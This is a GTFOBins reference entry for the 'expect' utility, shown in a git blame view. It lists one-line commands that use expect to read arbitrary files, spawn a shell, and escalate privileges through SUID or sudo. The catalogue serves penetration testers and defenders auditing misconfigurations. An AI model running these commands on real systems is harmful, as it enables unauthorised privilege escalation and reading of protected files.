GTFOBins.github.io/_gtfobins/expect.md

15 lines
483 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
file-read:
- description: The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message. Thus, this might not be suitable to read arbitrary binary files.
code: |
LFILE=file_to_read
expect $LFILE
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: expect -c 'spawn /bin/sh;interact'
2018-10-05 19:55:38 +02:00
suid:
2018-07-16 15:01:50 +02:00
- code: ./expect -c 'spawn /bin/sh -p;interact'
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: sudo expect -c 'spawn /bin/sh;interact'
2018-05-25 01:10:39 +02:00
---